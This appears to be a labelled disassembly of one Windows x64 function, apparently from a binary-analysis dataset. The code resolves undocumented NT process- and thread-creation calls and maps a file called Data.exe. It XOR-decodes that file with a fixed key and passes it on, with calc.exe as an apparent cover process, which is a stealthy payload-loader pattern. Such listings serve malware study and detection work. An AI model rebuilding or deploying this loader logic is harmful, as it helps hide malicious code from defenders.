Function at 0x1400017d0
Capabilities:
Encode data using xor
Get file size
Query environment variable
Read file via mapping
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
movaps xmm0, xmmword [str.C:Users_n0dai_source_reposSAFEx64DebugData.exe]
lea rcx, [rsp + 0xc2]
movaps xmm1, xmmword [0x140004550]
xor ebx, ebx
movaps xmmword [rsp + 0x50], xmm0
xor edx, edx
movaps xmm0, xmmword [0x140004560]
mov r8d, 0x206
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x140004580]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140004570]
movaps xmmword [rsp + 0x90], xmm0
movsd xmm0, qword [0x1400045a0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmm1, xmmword [0x140004590]
movsd qword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm1
mov word [rsp + 0xc0], bx
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140004440]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140001a76
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006718], rax
test rax, rax
je 0x140001a76
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006710], rax
test rax, rax
je 0x140001a76
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006708], rax
test rax, rax
je 0x140001a76
mov qword [rsp + 0x30], rbx
lea rcx, str.dummyfile.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001954
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
lea r8d, [rbx + 0x2a]
mov rcx, rax
lea rdx, str.This_is_a_dummy_file_for_testing_purposes.
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, str.dummylog.txt
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400019b4
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x10
lea rdx, str.Dummy_log_entry_n
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x1400019c3
test rax, rax
jne 0x1400019ec
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
lea rcx, str._SystemRoot__system32calc.exe
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x50]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a76
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rax
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r14, rax
test rax, rax
je 0x140001a6d
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
jne 0x140001aa8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.140002150
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov edi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140001a76
mov r8d, edi
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140001b36
movabs r8, 0x4ec4ec4ec4ec4ec5
lea r9, str.nothingtohide
mov rcx, rbx
mov rax, r8
mul rbx
shr rdx, 2
imul rax, rdx, 0xd
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + rbp], al
inc rbx
cmp rbx, rdi
jb 0x140001b12
mov r8d, edi
lea rcx, [rsp + 0xc0]
mov rdx, rbp
call fcn.140001520
mov r8d, 0x4000
mov rdx, rdi
mov rcx, rbp
movzx ebx, al
call qword [sym.imp.KERNEL32.dll_VirtualFree]
neg bl
sbb eax, eax
neg eax
dec eax
jmp 0x140001a7b